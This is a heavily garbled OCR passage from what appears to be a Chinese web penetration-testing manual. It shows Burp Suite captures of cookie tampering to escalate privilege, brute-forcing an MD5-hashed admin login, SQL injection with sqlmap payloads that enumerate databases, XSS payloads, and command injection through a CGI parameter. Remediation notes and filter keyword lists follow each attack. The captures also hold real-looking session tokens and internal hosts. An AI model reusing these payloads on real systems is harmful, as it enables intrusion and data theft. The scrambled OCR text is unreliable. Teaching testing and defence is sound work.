m:ﬂimom: EgER] ||
zxke/q_d. php > F|</a> | | |<a href='/zxke/info. php' YA E#</a>| | |<a
2xke/pass. php > EEM > || |<a
! zxke/back. pho' IR AL/ D><br>RMM M ARIBIT: <br/>2H2017 |
0 matches s 0 matches

Done 4812 bytes | 58 mils
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ABurp Suite Professional vi.7.11 - Temporary Project — licensed to Larry Lau . [=] )
Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner Tlmmder ]Rw— TSeuu:noe(]Decodw TCere( IExtermer TPrnieduBﬁnns T User options | Aleris.
gl 6 x | ..
=
1.5 3043 ¥4 /5 7| F 4 [E) Sessioni\IE = &
Go cancel <|v > htipifzxke.pocie.net w U
i, 23
B RCRIETT FER
Request Response
| Raw | Params | Headers | Hex | Raw | Headers | Hex /
GET /zxkc/mains. php HTTP/1.1 i HTTP/1.1 200 OK A
Host: zxke.pocie. net P Date: Wed 31 May 2017 07:59:39 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fegid/2.3.9
Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.3.29
Accept Expires: Thu, 19 Nov 1981 08:52:00 GMT
text/html, application/xhtmi+xml. application/xml:q=0.9, */*:q=0. 8 Cache-Control: no-store. no-cache, must-revalidate. post-check=0, pre-check=0
Accept-Language: zh-CN, zh:q=0. 8, en-US:q=0.5, en:q=0.3 Pragma: no-cache
Accept-Encoding: gzip, deflate Connection: close
Cookie: Hm_lvt_7ca02006646c81b790a739459516dc79=1495442774; Content-Type: text/html
PHPSESS1D=ibeBB1bsv?dk7q6fBbabheac?3 Content-Length: 4465
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0 <scriptralert ("EIEREY, EWVEUEMFENE") Useript> <html lang="en™>
<head>
<meta charset="UTF-8">
Ctitle> hEMHRSMENTINRLE itled
i v e </head>
TEUJ,?}_ gy-ﬂz[—‘EﬂF’j T(:{J‘E <body>
[7 :T% 17? (= \ <h2>ehEP R R S BiRFRG >
b= ‘a__.
Wil [<Font size= 3 color="red" > MR/ rmr>l FFEER! |||
href='/zxkc/q_d. php’ > F< a>|||<a href="/zxke/info. php B R</a>| | |<a
hr ef:' zxke/pass. php' >R/ a>| | | <a |
'S href="/zxkc/back. php’ >1.!.'f.¥m< a><or> MMM PMIBIMT : <or/>2i120§7 v
2 = T Type a2 search term 0 matches Type & search term 0 matches
Done 4,812 bytes | 131 milis

F4-33 B BR300 51 J5 BRIk RIETE SR (R GelhoRiR [l H P RERAE B
4.3.3.3 1558 @i

KRN AE P Sessiont A UE 2 il A B A I CRERL 25 RR 3303080 N) , AT
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4.4 Cookief/i ' Mk
4.4.1 P SR H# AN 77

R 55 45 N % i s 2 1E R S B, R B S EAEEE Cookiett,
HRIEBR P umAr it . B & i i 248 M Cookie T 1) & bR ik, ATTIA )5 E HoAth H -
SO E L, FFIE R T AR .

4.4.2 MRk 72

XF RG22 T AAIE Cookie H1 23 15 B A IEAR PR BEAT B oMt 38 B e & A E bR
ERAIWRE S 7 B2 il o KIARE a0 B 4-34F7
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PEMEEZLIRFSEOIRS

i BT S| =R A B R

FZRTERFEIENT

$112047 671 — # F lei (EBRSH ARG

W e B RO 1.f£Hleifeng KS EFRH ARG
B | S =e | ue | g )

1 dem e lEmee  [mEReiE [0

2 eifen il REneE 100

125  finpinayu —_—z meEzeiE 00

141 uxiaohe e e [RERSIE 100

142  kiaoyao e [ mEzeE 100

232  Naniujie e lE e RERSE 100
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409 Jiiialun e W RERSE (100
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Lo i o e [ [ s s v | oo v | ot [ o s [ s |

[E HTTP history | WebSockets history | Options

| Forwars ||

Drop

|:#] Request to nttp:iizxke. pocie.net:80 [114.215.120.40]

| [interceptson | |-

actonim|

Params | Headers | Hex

Host: zxkc, pocie. net

Upgrade-Insecure-Req

GET /zxkc/mains. php HTTP/1.1

s: 1

1. K iz4t

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html, application/xhtml+xml, application/xml:;q=0.9, */*:q=0.8
Accept-Language: zh—CN, zh:g=0.8, en-US:g=0.5, en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://zxke. pocie. net/zxkc/main. php
Cookie: userid=leifeng: PHPSESSID=17kcaktfrotlpv3gcmOnbpfn85
Connection: close .

e hadmintk S S EE

L)

BEF

pe & search term

T

¥

0 matches.

K14-36 Pkl T 0L I T ALK Cookie Hruserid £ 4 A EFRIR
A= BERZENREMEE, K9S MBS, nE4-3757r.
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O
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| B SEIEB IR EHERS
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H P B
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647 lhouiin e ge [mE%eiE [100
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=lolx|
Burp Intruder Repeater Window Help
[Targﬁ Proxy | Spider TSnannerIlmmdef IRmM:rTSequemzr IDeDoderTCmnrer]Exkender IPrv]emnpmns Iumophona TAIerB]
J intercept T—HTI'P history Tw:nSm:kers history T Options }
@ Request to http://zxke. pocie.net:80 [114.215.120.40]
| Forward ||  Dop | [ mterceptison | Action Comment this item 28 @
Raw | Params | Headers | Hex
POST /zxkc/main.php HTTP/1.1 A
Host: zxke. pocie. net P
User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html, application/xhtml+xml, application/xml:g=0. 9. */*:g=0.8
Accept-Language: zh-CN, zh:g=0. 8, en-US:9=0.5, en:q=0. 3
Accept-Encoding: gzip, deflate
Content-Type: application/x—www—form—ur|encoded
Content-Length: 55
Referer: http://zxkc. pocie. net/zxkc/login. php
Cookie: Hm_lvt_7ca02006646c81b790a739459516dc79=1495442774
Connection: close
Upgrade-Insecure-Requests: 1
account=admin&password=202cb%62ac59075b964b07152d234b70
e
L |
? < + > Type a search term 0 matches

14-39 {3 Fi Burp Suite T 2L HMELIE S Web £ 4t %8 5% 114 AMDS N 2 £ 4

(2) JEIX T AR 15 i Web £ 485 5% L N AL B R R s A I SIA R 5¢

mf), 77 X ANHash MD5EEINSE, 1N 4-40 7~

IR {EFHBurp Suite T 47 8 77 1% i DN EC B A 8 i Bc L 1 “Payload

Processing”, - ZLR fift (1) 25 A0 (B 2 AT 2504 Ab B F % 46

(1) fE% /il f#Payloadit 1+ Payload Processing ™ #ilr“Add”#%4H, £ AHEHE

Hr 2 I P % B “Hash” & “MD5” 3 Bt “OK”#%4H, & 4-41F 7.
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@) @© | =xke. pocie. net/ zike/ndS. j3 | c|laus

/*

#* JavaScript MDS 1.0.1

* https://github. com/blueimp/JavaScript-HD5

*

* Copyright 2011, Sebastian Tschan

* https://blueimp. net

*

* Licensed under the NIT license:

* http://wms. opensource. org/1licenses/MIT

S

* Based on

* A JavaScript implementation of the RSA Data Security, Inc. ND5 Nessage
* Digest Algorithm, as defined in RFC 1321.

* Version 2.2 Copyright (C) Paul Johnston 1999 - 2009

#* (Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License

# See http://pajhome. org. uk/crypt/md5 for more info.

*/

/#jslint bitwise: true */
/*global unescape, define */

(function (§) {
Tuse strict’;

/*
* Add integers, wrapping at 2732. This uses 16-bit operations internally
* to work around bugs in some ]S interpreters.
*/
function safe_add(x, y) {

var lsw = (x & OxFFFF) + (y & OxFFFF),

msw = (x >> 16) + (¥ >> 16) + (lsw >> 16);

. return (msw << 16) | (lsw & OxFFFF);

/¥

K14-40 2 M5 R G s b N U SN A HbMDS S
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Burp Intruder Repeater Window Help

[ e [ oy | s | scomr [ i | et | souencer | acder | corparer | extnser | ot pons | vorapons | mors |
m™ A
set, and each payload type can be customized in different ways.
Payoadset (1 [w]  Payoadcount &
Povessipe (Sl 5] estcom 5

2R EX DAL E YRR DY Hash t

@ Payload Options [Simple list] HAdd payload pricessing rule x

This payload type lets you configure a simple list of strings that are used as payloads. w Enter thaflletails of the payload processing rule.

Paste| [aamn (e L]
e ] | 00000 >
Com ] ™

3.7f Hash F%z$ £+ MD5
Add Enter & new item {—JOK {—jm -/

| Add from st . v

@ Payload Processing

I ___ 1.5 Payload Processing 9 "Add" #% 4
You can e rules to per omvaranm,
[ (e | =TT I

EAS

[]4-41 {£Payload Processing /i & % i b £ 5 7Y
(2) Payload Processingfit B 5¢ i 5 5o “Start  attack” #4146 5 J1 Al 0, adid



Payload Processing & 5 B ST W AT MDS#4 ¥ J5 10 AT 1 5% J W AR 36 s Ml I e DOl e
W& 4-42 175

O T pe—r——w— =lalx|

Burp Intruder Repeater Window Hel A o o e
et |BriEy) Spkiee | Scsoen Jﬂnﬂs | Target | Postions | paywads | optons |
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Sres = mysqgl query(”SELECT credit FROM Users WHERE id=$id”);
Srow = mysqgl fetch assoc(Sres);
if(Srow[’credit’] »>= $ POST[’amount’]) {
Snew credit = Srow[’credit’] - $ POST['amount’];
Sres = mysgl query (”"UPDATE Users SET credit=$new credit WHERE id=$id"”) ;
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GET /EAM_ACT/task/ ucloudFlag=1&taskHeader. taskId=718 HTTP/1.1
Host: unicom. local

Cache—Control: max—age=0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Upgrade—Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/46. 0. 2490.80 Safari/537.36

Accept—Encoding: gzip, deflate, sdch

Accept—Language: zh—CN, zh;q=0.8

Cookie: JSESSIONID=175EDACS9TS89ECE8DO00ICTFI4E2145A1;

LtpaToken=tQXTSYHEENn1YBvIwIQdNNzNwQ8S5vS j1PFvVy5ytBFO1B oL Afu3adPQ4Fliwwl qbWYXbTGhXLHo5btTfvw+2 30V
aZNw3FH2257 1n3XuYTh8y] 2JDzYjc33rF6AXiU1qqFY481le] sFmx tK0g83G0y TYTp ) Tx L ImAcfr YQOMcQNXE TZWZ I3ZEK
M11IHUqdiLrafySumRC/gYIpXZ jhsEcaz8ZYJLol5x5cSPELak2bzyZM811Ggr 3Gtyqlay jPzhr09iRGT gomHLb6C+daWF
JO1fvAWL TngsfKCBHXSETWTREcU=

Connection: close
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Aftack Save Columns

Resutts | Target | Postions | Payioads | Options

[ Filter: Showing all tems ‘ L’J
Request | Payload Status & | Error | Timeout | Lengtn | comment o
S - e — <
158 158 200 o a 9614
153 159 200 (=] a  se14
160 160 200 a a 11308
161 161 200 a a se18
162 162 200 =] (ST -1
163 163 200 a a 9633
164 164 200 - O ee33
185 165 200 a O ez
168 165 200 [=] a 9632
167 187 200 o O e
168 168 200 Q O se: v

Request | Response
Raw | Headers | Hex | HTML | Render

<span style="float:right; margin-right:5px;colox:#333333; >
<a class= Manage_operation button” onClick="winClose() >3&Hl</a>

</span>

dfWinTab” style="width:auto; padding—top:10px;~>
v class="dfWinTabHead" >
<table class="dfWinTabTable">

<tr>

<td class="dfWinTabHead2">

<div class="HeadSetLeft”></div>
adSet > BELE S5 MR < /div>
andSatRsnht "¢ Jaim>

Lz] L;J LJ [424] [ 7ype a search term = 0 matches
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1 L] SZBSC3 sZ101 [ VP 201310.0
2 L] JZRNCY 6808 WCDHA B 20131001
3 s YCRNC3 7087 WCDMA & 2013-10-01
& XGRNCO1 WXG381 WCDMA E 2] 2013-10-01
5 = HSRNCO2 WHS318 WCDMA B2 2013-10-01

[ ®E HSRNC02 WHS233 WCDMA £ 2013-10-01 i

7 ®E HSRNC02 WHS245 WCDMA Lo 2012-10-01 1
8 ®E HSRNC02 WHS289 WCDMA L 2013-10-01
9 REH SZRNC2 9485 WCDMA L] 2013-10-01
10 nE HSRNC02 WHS27S WCDMA B 2013-10-01
" ®= HSRNC02 WHS270 WCDMA Bz 2013-10-01
12 aR JHRNCO2 WJHG24 WCDMA ] 2013-10-01
13 Lald XGRNCO1 WXG348 WCDMA B 2013-10-01
" b XGRNCO1 WXG3S1 WCDMA E 2013-10-01
15 % XGRNCO1 WXG343 WCDMA B 2013-10-01
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request to http:/134.202.0.102:8088
i ] | forward H drop il interceptis on || action
e = (raw | params | headers m

POST /CRHS/cdws/report.do?method=wodify_pwd HTTF/1.1

Lecept: /%

Aecept-Language: zh-cn

Referer: hctp://134.202.0.102:8088/CRHS/configurableplatform/module/report/user_pwd. jsp2operCode=020108
x-requested-with: XMLHttpReguest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0: Windows NT 6.1; WOW64:; Trident/5.0)

Content-Length: 15

Proxy-Connection: Keep-ilive

Pragma: no-cache

Cookie: JSESSIONID=D116FAS561CAD74688221C0O8FE4D1ALD

uid pwd=789
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PAMSfihttp: /X XX. XXX.com/sydwzwb/zwxq.php? id=3974 4.

AW IEHEViR, A&, WE7-207R.

SRR IR G 58 %27, BIPESHUEHIESQLIER] . HTSQLIEAIH 5|5
ST, BN 5] 5 NSQLIE A AR IIES], AREMSQLARREZS IEH b, VrinRed
YWHISQLIERJHAT 1, WK 7-307.
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@)@ - 2wxq.php?id=3974' N c]@ Q Z <Ctri+k> \ﬁ‘e $+ A 5 - = & 1
L e B mnin @ iz | smEn [ s [ #BaiE

rning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /softwarel/a/nmg/sydwzwb/zwxq.php on line 6 J
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€ ® rwq.php?id=3974 and 1=2 UE ¢ @ QE=<crik fE A - 2 @ 1 é
| ks B Baee @ wEre | smm [B) s Okt

SHBEE (AX) HERIFTHEER (BX) ERRETREE (CGR) NS (D) BEfr P4 (E2£)

TEE ISR (TR)
BAR
e
FRRSE
e
BER
A

FSHEE
25
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STl
ARG

K] 7-5 ¥ hnand 1=2 71 [f] 55 7~

W R 5 0w AN E, WaT DUIE AR BN, R LT TRISQLIEAN T A
(fnsqlmap) 7] LA B4 e s . M. oo, BEAUR, BEZATUPIT 2G4 EfEETTXC
%5 . sqlmap .5 R4 H U B 7 WL B ™ hiep:  //sqlmap.org/, WK 7-6 7K .

sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean—based blind
Title: AND boolean-based blind = WHERE or HAVING clause
Payload: id=3974 AND 6238=6238

Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace
Payload: id=(SELECT 6367 FROM(SELECT COUNT (*), CONCAT(0x717a66a71, (SELECT (ELT(6367=6367, 1))), 0xT170T67671, FLOOR (RAND (0)*2) }x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP B

Type: UNION query
Title: Gemeric UNION query (WULL) - 28 columns
Payload: id=—3604 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT (0x71Ta766a71, 0x5772626c5942426376566342507348416c64715578464 24167425469
5, 0271 70767671) , NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RULL, NULL, KULL, NULL, NULL, NULL-- -
[11:12:22] [INFO] the back-end DBNS is MySQL
eb application technology: Nginx, PHP 5.5.27
back—end DBMS: MySQL 5.0

1 any output

available databases [4]:
[#] information_schena
[*] mysql

[*#] neimengzu_db

[*] performance_schema

P7-6 Hsqlmap i % 9%
7.1.2.2 FRAAEN
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FIEARE

T [EuEET] [epme
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URL

RN
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TREABIR
(¥ sqlmap)

7-7 FRFRE NI B
DL ubhttp: //xxx/Organ! loadOrgs.shtml A .
W IEEUIN, EIEETH, wE7-8fR.

4

User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: application/json, text/javascript, */*
Accept-Language: zh—CN, zh;q=0.8, en-US;g=0. 5, en; q=0. 3
Accept—Encoding: gzip, deflate

Content-Type: application/x—wwwform urlencoded
X-Requested-With: XMLHttpRequest

Referer: Organ!loadOrgs. shtml
Content-Length: 52

Cookie: JSESSIONID=E29EOSF0168030F63BE13FSAASCFBEAG

Connection: close

organ. orglim=&organ. orglo=10100095&page=1&pagesize=20

Request Res

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /OrganList!'myOrglist.shtml HTTP/1.1 A HTTP/1.1 200 OK
Host: " Server: X

Date: Wed, 31 May 2017 05:35:10 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 264

Connection: close

Content-Language: de-DE

{"Rows”: [{"createBy”:0, "lastDate”: "2017-04-27", "las
tUpd': 1; 'leve':O, 'nrgId' :56913, ‘urg}hl' e S =
Iz E ", “oxrgNo”: “10100095”, “otype”: 70”7, “oveDate”:
“9999-12-31", “parentNo” : 10100093, “remark” : "true”
» “staDate”:“2002-01-017, “status”:2}], “Total”:1}

P 7-8 1 15 7] 1R B AL 45 10
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Go Cancel < |v >|v - - - “ _7 74‘
Request Response
Params | Headers | Hex Headers | Hex

POST /OreanList!mvOrelist.shtml HTTP/1.1 A HTTP/1.1 200 OK
Host: P Server: X
User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; xv:53.0) Date: Wed, 31 May 2017 05:36:25 GNT
Gecko/20100101 Firefox/53.0 Content-Type: text/html;charset=utf-g
Accept: application/json, text/javascript, */% Content-Length: 29
Accept-Language: zh-CN, zh;q=0. 8, en-US; q=0. 5, en; q=0. 3 Connection: close
Accept-Encoding: gzip, deflate Content-Language: de-DE

Content-Type: application/x—www—form-urlencoded
¥-Requested-With: XMLHttpRequest

Referer: http:/s /0rgan!loadOrgs. shtml
Content-Length: 53
Cookie: JSESSIONID=E29E0SF0168030F63BE13FBAASCFBGAG e T AN .

Connection: close

organ. oxglim: page=1l&pagesize=20

F7-9 s hn e 5] 5 1R [m AL 1
W NIvor’="1, AT, WE7-100T7R.

E
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Pl

Request Response

EIPWI Headers | Hex [Elﬂm Hex

POST /Organlist!myOxglist.shtml HTTP/1.1 A HITP/1.1 200 OK

Host: P Sexver: X

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWS4; rv:53.0) Date: Wed, 31 May 2017 05:43:03 GNT

Gecko/20100101 Firefox/53.0 Content-Type: text/html;charset=utf-8

Accept: application/json, text/javascript, */% Connection: clese

Accept-Language: zh—CN, zh;q=0.8, en-US;q=0.5, en; ¢=0. 3 Vary: Accept-Encoding

Accept-Encoding: gzip, deflate Content-Language: de-DE

Content-Type: application/x—www—form-urlencoded Content-Length: 1642

X-Requested-With: XMLHttpRequest

Referer: http:// /0rgan!loadOrgs. shtml

Content-Length: 63

Cookie: JSESSIONID=E29EQSF0168030F63EE13FSAASCFEGAS

Connection: close {"Rows”: [{"createBy :0, lastDate : 72015 03—13 “lastUpd”:-1,
“leve”:0, “orgld”:56876, orgNn - 5"

organ. o:gle‘;gan. orgho=10100095" ox '1'=“‘paze=1&pag=siz==20 orgNo”: "101000007, “otype”: 70", “oveDate”: 9999—12—31', “parent

Ne':‘OODOOOOO", 'renark':'true', “staDate”: “2002-01-017, “statu
s7:2}, {"createBy”:0, “lastDate” " "2015-03-13" “lactlind™ -1, “le
ve”:0, “orgld”:56877, “oxrghm”: " - - , Torg
No“:“10100001°, “otype”:“0”, “oveDate”: “9999-12-31", “parentNo”
: 7101000007, “remark”: “true”, “staDate”: “2002-01-017, “status”:
“createBy”:0, "lastDate”: "2015-03-13", “lastlUpd”:-1, "leve”
:0, ": 56878, “oxgNm”: "W EHUEM P07, “oxrgNo”: 710100004
~, “otype :707, “oveDate”:"9999-12-317, “parentNe”: “101000017,
remark”:“true”, “staDate”: "2002-01-01°, “status”:1}, {“createBy
7:0, "lastDate”: "2015-06-30", "lastUpd”:1, "leve”:0, “orgld”:568
79, “orghm”: T JE L THIE", “oxrgNo”: "10100090°, “otype”: 07, “oveD
ate”:79999-12-31", “parentNo”: "50033100°, “remark”: “true”, “sta
Date”:72002-01-01", “status”:2}, {"createBy”:0, “lastDate”: 7201
5-03-13", “lastUpd”:-1, “leve”:0, “orgld” : 56880, “oxghm” : "1k i
XIBE (IMC)”, “orgNo”: 101000917, “otype”: 707, “oveDate”: "9999-1
2-317, 'pm:entl\‘n’:'l()loﬂogﬂ', 'xelatk’:'h:ue', “staDate”: "2002-
01-017, “status”:1}, {“createBy”:0, "lastDate”: "2015-10-13", "1a
stUpd”:1, “leve”:0, “orgld”: 56905, “oxghm”: “A kK A", “oxgNo”
- :710100093”, “otype”: 0", “oveDate”: “9999-12-317, “parentNo”: "5
Y 0033100° “yemark”:"true” “stalate”-"2002-01-01" “statns”:2}

E7-10 ¥ or 1°="13% [A] £, 175 75
YA #] H 101000954115 ., BT 15 B # AT E], FHsqlmap f LA — 510 0E IR
W, WE7-11175.




blind
t an-based blind ~ WHERE or HAVING clause
Pay: : org rghin=%' AND 5601=5601 AND °%'='&organ. orgNo=10100095&page=1¢pagesize=20

QL Serwer/Sybase stacked queries (comment)
rghin=t%' ; WATTFOR DELAY *0:0:5" -~&organ. orgNo=101000956page=1¢pagesize=20

13:48:46] [INFO] the back—end DBMS is Microsoft SQL Server
[back—end DBMS: Microsoft SQL Server 2005

available databases [12]:
[¥] Gn Bz
[*] gn_hr_databak

’7-11 sqlmapy¥: A\ B2
PL_E PR E NER R 2 TS B B F LA TREN, FRTaE. 5. ffiR%
FHEN, XA ——254 T,

7.1.3 1B E #IN

RS B2 um T . i RS A A< (JSP. ASP. ASPX. PHPZE) A:fk
[R5 P UL $RAC AR B (FORMD BRI BERE R T S A AR &, WA AR &
PERATI A, S EH S R TR, BN AT 5 O FRR AR .

- SQLIEH] B 1A : Yland. or. select. declare. update. xp_cmdshell;

- SQLIERJFFIAST 5 : . 7y 5

A, Web N HRGEANEHEERS S HKHP AR RGEH G, HPMAON
TRV f5e /A RR S

7.2 XSSk

7.2.1 I J BN g vk

5 i D A I 1] 2 Web B FH R s 744 5 0 i HB 21 X 0T B B A7 AR ), S BCREBGE
AJ PAfEWeb T TH] B4 A\ % & JavaScript. HTMLACES, 154438 1% 2 B0 (27 76 T T A TR
TR Mo — ORI 57 ICE R A % P 2216 F1 Cookie, AT HELTAVEH T, MM
Yt Loz A - S 4 B B 5 P e sk DA R PAT F %

PEul— MG OL R F B N R RS G . IS B ES . DOMBLFSNE . 17 Y 5 i A



Al EES NRSwmEE 2, TSN AN E NEHEE,  HH RS v AR AT IS A5 D0 Y 2 AR Bl — Bk
fPl<script>alert (/xss/) </script>fF]HHIA

S AL A T v R AE URL B AAE P Hf N\ — B ul A, %22 15 B st th 0t
THHE.

BT w7 V5 FEERAE P B B S AR 45Uk U5 A HE N B\ — B it A
K, BRGEEALIERE, HARDPEI LM ERANAEEZASN, SPATE

A Chns e, Bl 2 A RS RO, S PATES SR, s
TEHE .

7.2.2 MRS 72

RIGERAAAERS T 51, AR Z Bl X payload, 4 5k 204K H
i P vl AR, RAEIR TR SE PR SR R 7 O S i R s ot . A7 RS o, I 7-12
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P 7-12 XSS s vl i i A2
7.2.2.1 4RI XSS
Plhttp: //xxx.xxx.local F = A R F], GE7-13F7R.

RIS A R EIR

e i A 2if | B | 2 | &R | 182 | Bd

AT aEg
TH#HE:  00000s| TipiE: Tikzs: —-igiE—-

AT ] SR ABR: SEREMAR):

ENRFAT): BN AR afEall G- s & @

3 I Igs TeRs R R HiBA HEihEA enzaM i

o SES. SHE 1L 0N s mE]

K7-13 2% 2Rk 55 R



AR PVRIFAE TGS AL TN A2 S A AEXSSTRIR A0,k 7-14

Xy

%mo

Burp Intruder Repeater Window Help

StatusEnwnId"&vo allotTvpeEnunId" 00’.‘23&!79 fronConpanyId"&vo toConpanyId‘-'&vo creanonDateStart"&vo creat
1onDateEnd=&vo. applicantId=&vo. applicantName=&1lineV0. fromResponsibleEmployeeld=&lineV0. responsibleEmploy
eeTo= HTTP/1.1

Host:

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, %/%;q=0.8
Upgrade-Insecure-Requests: 1

User—-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/46. 0. 2490.80 Safari/537.36

Referer:

http:, unicom. local /EAM_ASTM/transfer/query. action?allotType=inDept&globalUniqueID=832ECE06B46
1B74B8C1ABDS5221CAETC

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh—CN, zh;q¢=0.8

Cookie: JSESSIONID=2B51191F3F6ASFCGAGES199A18F66T1T ;

L tpaToken=tQXTSYHEEN]YBvIwIQdNNzNwQS5vO jiP1MkUKE /SHFf «EU jAPmKov+j cBhRzGgZB /0f 1 I IKzxv1SaMbx sFdmvf 1ywYVL3t
bzaCfajExal/u0v] tbhru2q2htpDdFFV/UTbNsf 1uSMZ AOFmeK9p6Vemg YW] aVIQZ sQUIGg41cLurlmi1ZbmXS8C jKAZP js1941bCYx41
FUMgpFP3Ce/ipLGaYIIAF /BT9180vWoAz0bFt jvsxxCUUalRqxs] 16QxWsn] T20gfLHON1ZURGa] Tkan/zYYt60HueadESZ02ag3A=
Connection: close

K17-14 PP 5535 KL I E A8 In 5 ik s i payload
B TG, IFIE I XSSINTAAZELE, WR7-15017R.

BiNT: BARE

e

e (0)
22 | 52 | ¥R | W8 | 98 | 52
R
RIBUT (0) AriEE LD
TWRE: ooows
.
JavaScript 1288 "
acunetix-xss-test
i
| » WA

P 7-15 IR I fir
7.2.2.2 171 AU XSS
Plhttp: //xxx.xxx.localo ], TERTIARBIRAEAERT . St MIBRAOBIER, tnE]7-16



BolmEs EhdE ® aEkEr * qasker ¥ serems ¥ miams ¥

LF | RE | 2 ﬁﬁl*ﬂi?gzm

BARLEER
AR - iEEE- s [=15 755N & i3
BARES ARARIKTS ElEE S EA BE:==to BEEHE BIRA
HOEES MHE1AAOR e =ED

K]7-16 V55 i

B — LRI ThRE U AL R XSS payload, X d&ifs T8 E, T RS
i A ERIXSS, WK 7-17/7R .

[Tl x YO AEEE (L BEfEE x V. Ardas x V. AriEs x V- view-sou x V.. view-sou x V. TEEE x VL My)SPi xVageE  x UK

X O htmi?billHeadld=3374
il l ERvRRER : |
NRTH @ BR/F O Fith O BHEM O SR s
=K RERTIHEE.
BE

TI#(ER
THRS 038816-21-201703-000025 AEEEA 2017-03-16 THIES 2RiF
THiFEE
MEAR — AONEIREEE [

=258 TE - alEA

TR 117>

Kl 7-17 s B i

7.2.3 [ 2 # W

RS BIE P um Ul AR S At A (JSP. ASP. ASPX. PHP%E) A:fk
FIZ P i DU IRACHIR . (FORM) Bk H KIS EAE R PO EHTE &, LA A&
FHEHEATA A, T PE A& R 77, SO P RF kAT 45 SCALHE . ik w75 R .



-HTMLFRZERI<. “. . %%, DLRIXEERTF 5 ) UnicodefH ;
- B P IAC (JavaScript. VBScript) K##5°: JavaScript. script&o.
AL, XTHE B RIEE, ARAERRE R B RNE . RN E AT
[, BijibWebfk g5 & A NS RN, KPR RS Bk Bl 45 2 i . AR T
o B SCRVFIIAT N, T ORWeb N FH R PP AR 5 P 45 2R 00 A 8 SORTSIE I A i N 24
(Cookie. Frdk. AMFRIH . KR, RHTERE) .
- K APOSTHMIGET E KAWL, DURA PR IR 0] 50 52 TR IR N 25 HAT 28
I P R BRI AT S, W PN R R BRI R I R 45 5 R L]
Fo XK IEAEA B EAS LA AT A% R IE G i & L
WERTRE, WURLKE 2 v B fit 1) B 2 PR ) Dy 7 BEER - Bt sl FH tbd e L |
i, W P A\ “<script>alertdocumentcookie ('aaa') </script>”, HF4A 7
“Aj“scriptalertdocumentcookiescript”. U1 W AUE B PR 75, 15 ek HgmiE N
HTML 54k, SR A HHZE HTTP W f rh, AR B A TH TMEHTML SR () 25
(AP
AE R =2 B S uE AL, E R DR ER B A BRAIE
- FEAE BT AR 2 /T, e uE AR R SR U
- ANESE B AR AR NSRRI A I AR B SRS F CA g2 Aweb B3R, 3E
NN .

7.3 12 AT IR
7.3.1 A J BN Ty vk

TER R Z U — AN 2B N A RS OL T, e 2 —5S3UT R a2 1K
#. WIPHPH [fJsystem. exec. shell_exec%s, 4 F7 ] LA3a il & #4047 B £ S B,
BrENEE RS AR IEFEMAF, ERAaSPATE S WA W EE XTS5 (o
cmd=. command. excute=%5) BATILIE, BRI DL E G B 2 AT IR IR EUEC & ged Ky
EN (TEEERGY, “&. |\ ||v 5 ST LME RN AR, H P @iy s
RAZPAT AL, T IR oA £ AT R EHOL )8, REFER A 18 & 400 A2 115 il
TEIAT AT A ST Ar S PATIRIE I

7.3.2 MR 72

Woiti & R B AEAE ar 2 HAT HOIRIR BER2, I Inar 2 Tpayload, #f\IEIH, i 7-
18Ff7 o



|
e
S Ew < < iaT .
“ — HiriHurl bl a'ﬂ.:;y]nad HHWA

K] 7-18 i 2 HAT IR I AR
DL 2% 22 45 i R G0 0], BT R Kregister_keyZ Hui 47 i Ui AT REAFAE iy 2 BT IR
W, PUEFHXF AT, HiE G AT IER) FFPAT T, IE I LS HOR & Ak o e i ik
WA PATIRF, wE7-19FE7-20F778 .

HITP/1.1 200 OK
Content-Type: text/html: charset=utf-
Date: Fri, 30 Sep 2016 01:01:16 GMI
Server: lighttpd/1.1.26

Connection: keep-alive A Tifconfig, mcom_ txt Content-Length: 32

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebit/537.36 (KHIML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Accept: text/htnml, application/xhtml+xml, application/¥ml;q=0. 9, inage/webp, #/%;q=0. 8

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: zh—CN, zh:g=0.8

T

in/system_management/usap_register. cgirrids 1]
lyx/lyxcentzrllyxconf/iyx ciaci=TAtypesrugi starhrarintaz v 1fmnf1gx3E/usr/1nc31/1yx/1yxsemer/web/ch—hm/cm txt: HITR/1. 1

400 FEMMKE TERRM

K7-19 IR FFEAT I
COl|A /cgi-bin/comm.txt

ethD Link encap:Ethemet HWaddr 00:e0:4c:11:f1:63
